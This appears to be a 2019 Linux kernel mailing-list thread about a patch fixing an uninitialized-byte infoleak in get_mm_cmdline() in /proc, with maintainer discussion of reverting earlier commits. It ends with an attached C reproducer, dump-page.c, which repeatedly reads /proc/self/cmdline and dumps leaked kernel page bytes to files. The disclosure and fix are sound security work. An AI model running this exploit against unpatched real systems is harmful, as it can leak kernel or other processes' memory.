[PATCH] proc: Fix uninitialized byte read in get_mm_cmdline()

[PATCH] proc: Fix uninitialized byte read in get_mm_cmdline()

[Alexey Izbyshev]

get_mm_cmdline() leaks an uninitialized byte located at
user-controlled offset in a newly-allocated kernel page in
the following scenario.

- When reading the last chunk of cmdline, access_remote_vm()
  fails to copy the requested number of bytes, but still copies
  enough bytes so that we get into the body of
  "if (pos + got >= arg_end)" statement. This can be arranged by user,
  for example, by applying mprotect(PROT_NONE) to the env block.

- strnlen() doesn't find a NUL byte. This too can be arranged
  by user via suitable modifications of argument and env blocks.

- The above causes the following condition to be true despite
  that no NUL byte was found:

	/* Include the NUL if it existed */
	if (got < size)
		got++;

The resulting increment causes the subsequent copy_to_user()
to copy an extra byte from "page" to userspace. That byte might
come from previous uses of memory referred by "page" before
it was allocated by get_mm_cmdline(), potentially leaking
data belonging to other processes or kernel.

Fix this by ensuring that "size + offset" doesn't exceed the number
of bytes copied by access_remote_vm().

Fixes: f5b65348fd77 ("proc: fix missing final NUL in get_mm_cmdline() rewrite")
Cc: Alexey Dobriyan <adobriyan@gmail.com>
Cc: Oleg Nesterov <oleg@redhat.com>
Signed-off-by: Alexey Izbyshev <izbyshev@ispras.ru>
---

This patch was initially sent to <security@kernel.org> accompanied
with a little program that exploits the bug to dump the kernel page
used in get_mm_cmdline().

Thanks to Oleg Nesterov and Laura Abbott for their feedback!

 fs/proc/base.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/fs/proc/base.c b/fs/proc/base.c
index 255f6754c70d..6e30dd791761 100644
--- a/fs/proc/base.c
+++ b/fs/proc/base.c
@@ -275,6 +275,8 @@ static ssize_t get_mm_cmdline(struct mm_struct *mm, char __user *buf,
 		if (got <= offset)
 			break;
 		got -= offset;
+		if (got < size)
+			size = got;
 
 		/* Don't walk past a NUL character once you hit arg_end */
 		if (pos + got >= arg_end) {
-- 
2.21.0

Re: [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline()

[Oleg Nesterov]

On 07/12, Alexey Izbyshev wrote:
>
> --- a/fs/proc/base.c
> +++ b/fs/proc/base.c
> @@ -275,6 +275,8 @@ static ssize_t get_mm_cmdline(struct mm_struct *mm, char __user *buf,
>  		if (got <= offset)
>  			break;
>  		got -= offset;
> +		if (got < size)
> +			size = got;

Acked-by: Oleg Nesterov <oleg@redhat.com>

Re: [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline()

[Alexey Dobriyan]

On Fri, Jul 12, 2019 at 06:36:26PM +0200, Oleg Nesterov wrote:
> On 07/12, Alexey Izbyshev wrote:
> >
> > --- a/fs/proc/base.c
> > +++ b/fs/proc/base.c
> > @@ -275,6 +275,8 @@ static ssize_t get_mm_cmdline(struct mm_struct *mm, char __user *buf,
> >  		if (got <= offset)
> >  			break;
> >  		got -= offset;
> > +		if (got < size)
> > +			size = got;
> 
> Acked-by: Oleg Nesterov <oleg@redhat.com>

The proper fix to all /proc/*/cmdline problems is to revert

	f5b65348fd77839b50e79bc0a5e536832ea52d8d
	proc: fix missing final NUL in get_mm_cmdline() rewrite

	5ab8271899658042fabc5ae7e6a99066a210bc0e
	fs/proc: simplify and clarify get_mm_cmdline() function

Re: [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline()

[Alexey Izbyshev]

On 7/12/19 8:46 PM, Alexey Dobriyan wrote:
> On Fri, Jul 12, 2019 at 06:36:26PM +0200, Oleg Nesterov wrote:
>> On 07/12, Alexey Izbyshev wrote:
>>>
>>> --- a/fs/proc/base.c
>>> +++ b/fs/proc/base.c
>>> @@ -275,6 +275,8 @@ static ssize_t get_mm_cmdline(struct mm_struct *mm, char __user *buf,
>>>  		if (got <= offset)
>>>  			break;
>>>  		got -= offset;
>>> +		if (got < size)
>>> +			size = got;
>>
>> Acked-by: Oleg Nesterov <oleg@redhat.com>
> 
> The proper fix to all /proc/*/cmdline problems is to revert
> 
> 	f5b65348fd77839b50e79bc0a5e536832ea52d8d
> 	proc: fix missing final NUL in get_mm_cmdline() rewrite
> 
> 	5ab8271899658042fabc5ae7e6a99066a210bc0e
> 	fs/proc: simplify and clarify get_mm_cmdline() function
> 
Should this be interpreted as an actual suggestion to revert the patches,
fix the conflicts, test and submit them, or is this more like thinking out
loud? In the former case, will it be OK for long term branches?

get_mm_cmdline() does seem easier to read for me before 5ab8271899658042.
But it also has different semantics in corner cases, for example:

- If there is no NUL at arg_end-1, it reads only the first string in
the combined arg/env block, and doesn't terminate it with NUL.

- If there is any problem with access_remote_vm() or copy_to_user(),
it returns -EFAULT even if some data were copied to userspace.

On the other hand, 5ab8271899658042 was merged not too long ago (about a year),
so it's possible that the current semantics isn't heavily relied upon.

Alexey

Re: [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline()

[Jakub Jankowski]

On 2019-07-12, Alexey Izbyshev wrote:

> On 7/12/19 8:46 PM, Alexey Dobriyan wrote:
>> The proper fix to all /proc/*/cmdline problems is to revert
>>
>> 	f5b65348fd77839b50e79bc0a5e536832ea52d8d
>> 	proc: fix missing final NUL in get_mm_cmdline() rewrite
>>
>> 	5ab8271899658042fabc5ae7e6a99066a210bc0e
>> 	fs/proc: simplify and clarify get_mm_cmdline() function
>>
> Should this be interpreted as an actual suggestion to revert the patches,
> fix the conflicts, test and submit them, or is this more like thinking out
> loud? In the former case, will it be OK for long term branches?
>
> get_mm_cmdline() does seem easier to read for me before 5ab8271899658042.
> But it also has different semantics in corner cases, for example:
>
> - If there is no NUL at arg_end-1, it reads only the first string in
> the combined arg/env block, and doesn't terminate it with NUL.
>
> - If there is any problem with access_remote_vm() or copy_to_user(),
> it returns -EFAULT even if some data were copied to userspace.
>
> On the other hand, 5ab8271899658042 was merged not too long ago (about a year),
> so it's possible that the current semantics isn't heavily relied upon.

I posted this (corner?) case ~3 months ago, unfortunately it wasn't picked 
up by anyone: https://lkml.org/lkml/2019/4/5/825
You can treat it as another datapoint in this discussion.


Regards,
  Jakub

-- 
Jakub Jankowski|shasta@toxcorp.com|https://toxcorp.com/

Re: [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline()

[Alexey Izbyshev]

On 7/13/19 12:17 AM, Jakub Jankowski wrote:
> On 2019-07-12, Alexey Izbyshev wrote:
> 
>> On 7/12/19 8:46 PM, Alexey Dobriyan wrote:
>>> The proper fix to all /proc/*/cmdline problems is to revert
>>>
>>>     f5b65348fd77839b50e79bc0a5e536832ea52d8d
>>>     proc: fix missing final NUL in get_mm_cmdline() rewrite
>>>
>>>     5ab8271899658042fabc5ae7e6a99066a210bc0e
>>>     fs/proc: simplify and clarify get_mm_cmdline() function
>>>
>> Should this be interpreted as an actual suggestion to revert the patches,
>> fix the conflicts, test and submit them, or is this more like thinking out
>> loud? In the former case, will it be OK for long term branches?
>>
>> get_mm_cmdline() does seem easier to read for me before 5ab8271899658042.
>> But it also has different semantics in corner cases, for example:
>>
>> - If there is no NUL at arg_end-1, it reads only the first string in
>> the combined arg/env block, and doesn't terminate it with NUL.
>>
>> - If there is any problem with access_remote_vm() or copy_to_user(),
>> it returns -EFAULT even if some data were copied to userspace.
>>
>> On the other hand, 5ab8271899658042 was merged not too long ago (about a year),
>> so it's possible that the current semantics isn't heavily relied upon.
> 
> I posted this (corner?) case ~3 months ago, unfortunately it wasn't picked up by anyone: https://lkml.org/lkml/2019/4/5/825
> You can treat it as another datapoint in this discussion.
> 
Thanks, this is interesting. Perl explicitly relies on special treatment of
non-NUL at arg_end-1 in pre-5ab8271899658042: on argv0 replace, it fills
everything after the new argv0 in the combined argv/env block with spaces [1,2].

While personally I don't approve what Perl does here, 5ab8271899658042
did change the user-visible behavior in this case.

[1] https://perl5.git.perl.org/perl.git/blob/86b50d930caa:/mg.c#l2733
[2] https://perl5.git.perl.org/perl.git/blob/86b50d930caa:/perl.c#l1698

Alexey
> 
> Regards,
>  Jakub
> 

Re: [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline()

[Alexey Dobriyan]

On Fri, Jul 12, 2019 at 09:43:03PM +0300, Alexey Izbyshev wrote:
> On 7/12/19 8:46 PM, Alexey Dobriyan wrote:
> > On Fri, Jul 12, 2019 at 06:36:26PM +0200, Oleg Nesterov wrote:
> >> On 07/12, Alexey Izbyshev wrote:
> >>>
> >>> --- a/fs/proc/base.c
> >>> +++ b/fs/proc/base.c
> >>> @@ -275,6 +275,8 @@ static ssize_t get_mm_cmdline(struct mm_struct *mm, char __user *buf,
> >>>  		if (got <= offset)
> >>>  			break;
> >>>  		got -= offset;
> >>> +		if (got < size)
> >>> +			size = got;
> >>
> >> Acked-by: Oleg Nesterov <oleg@redhat.com>
> > 
> > The proper fix to all /proc/*/cmdline problems is to revert
> > 
> > 	f5b65348fd77839b50e79bc0a5e536832ea52d8d
> > 	proc: fix missing final NUL in get_mm_cmdline() rewrite
> > 
> > 	5ab8271899658042fabc5ae7e6a99066a210bc0e
> > 	fs/proc: simplify and clarify get_mm_cmdline() function
> > 
> Should this be interpreted as an actual suggestion to revert the patches,
> fix the conflicts, test and submit them, or is this more like thinking out
> loud?

Of course! Do you have a reproducer?

> In the former case, will it be OK for long term branches?

For everyone.

If a rewrite causes 1 bug, 1 user visible change and a infoleak, it is
called revert.

> get_mm_cmdline() does seem easier to read for me before 5ab8271899658042.
> But it also has different semantics in corner cases, for example:

All semantics changes are recent.

> - If there is no NUL at arg_end-1, it reads only the first string in
> the combined arg/env block, and doesn't terminate it with NUL.

That's because fixed-length /proc/*/cmdline did that.

> - If there is any problem with access_remote_vm() or copy_to_user(),
> it returns -EFAULT even if some data were copied to userspace.
> 
> On the other hand, 5ab8271899658042 was merged not too long ago (about a year),
> so it's possible that the current semantics isn't heavily relied upon.

Re: [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline()

[Alexey Izbyshev]

[-- Attachment #1: Type: text/plain, Size: 674 bytes --]

On 7/13/19 10:26 AM, Alexey Dobriyan wrote:
> On Fri, Jul 12, 2019 at 09:43:03PM +0300, Alexey Izbyshev wrote:
>> On 7/12/19 8:46 PM, Alexey Dobriyan wrote:
>>> The proper fix to all /proc/*/cmdline problems is to revert
>>>
>>> 	f5b65348fd77839b50e79bc0a5e536832ea52d8d
>>> 	proc: fix missing final NUL in get_mm_cmdline() rewrite
>>>
>>> 	5ab8271899658042fabc5ae7e6a99066a210bc0e
>>> 	fs/proc: simplify and clarify get_mm_cmdline() function
>>>
>> Should this be interpreted as an actual suggestion to revert the patches,
>> fix the conflicts, test and submit them, or is this more like thinking out
>> loud?
> 
> Of course! Do you have a reproducer?
> 
Attached.

Alexey

[-- Attachment #2: dump-page.c --]
[-- Type: text/x-csrc, Size: 2610 bytes --]

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

#define PAGE_SIZE 4096

#define CHECK(expr) \
  ({ \
    long r = (expr); \
    if (r < 0) { \
      perror(#expr); \
      exit(1); \
    } \
    r; \
  })

static void dump(unsigned char *page, size_t ind) {
    char fname[30];
    sprintf(fname, "page%zu", ind);
    printf("dumping %s\n", fname);
    int fd = CHECK(open(fname, O_CREAT|O_TRUNC|O_WRONLY, 0666));
    CHECK(write(fd, page, PAGE_SIZE));
    close(fd);
}

int main(int argc, char *argv[], char *envp[]) {
    char *last_arg_nul = argv[argc - 1] + strlen(argv[argc - 1]);
    printf("last arg end: %p\n", last_arg_nul);
    size_t argv_size = last_arg_nul - argv[0] + 1;
    size_t page_offset = (uintptr_t)last_arg_nul & (PAGE_SIZE - 1);
    if (page_offset != PAGE_SIZE - 1 || argv_size < PAGE_SIZE - 1) {
        printf("will re-exec to arrange argv\n");
        if (page_offset != PAGE_SIZE - 1) {
            /* Pad env block so that the last byte of arg block is also
             * the last byte of its page. */
            size_t env0_size = page_offset + 1 + strlen(envp[0]) + 1;
            char *new_env = malloc(env0_size);
            memset(new_env, 'Z', env0_size - 1);
            new_env[env0_size - 1] = '\0';
            envp[0] = new_env;
        }
        char *path = argv[0];
        if (argv_size < PAGE_SIZE) {
          /* Also make sure that arg block is not shorter than a page. */
          argv[0] = (char[]){[0 ... PAGE_SIZE - 1] = 'Z', '\0'};
        }
        execve(path, argv, envp);
        perror("execve");
        return 127;
    }

    *last_arg_nul = 'Z';
    /* Make sure the kernel can't read past arg_end. */
    CHECK(mprotect(last_arg_nul + 1, PAGE_SIZE, PROT_NONE));

    char buf[PAGE_SIZE];
    unsigned char leaked[PAGE_SIZE] = {'U'};
    unsigned num_good = 0;
    int fd = CHECK(open("/proc/self/cmdline", O_RDONLY));
    while (1) {
        int found_good = 0;
        for (size_t off = 1; off < PAGE_SIZE; ++off) {
            CHECK(lseek(fd, argv_size - off, SEEK_SET));
            ssize_t got = CHECK(read(fd, buf, sizeof buf));
            if (got <= off) {
                printf("no leak: kernel seems to be fixed\n");
                return 1;
            }
            unsigned char leaked_byte = buf[got - 1];
            found_good |= (leaked_byte && leaked_byte != 'Z');
            leaked[off] = leaked_byte;
        }
        if (found_good)
            dump(leaked, num_good++);
        sleep(1);
    }

    close(fd);
    return 0;
}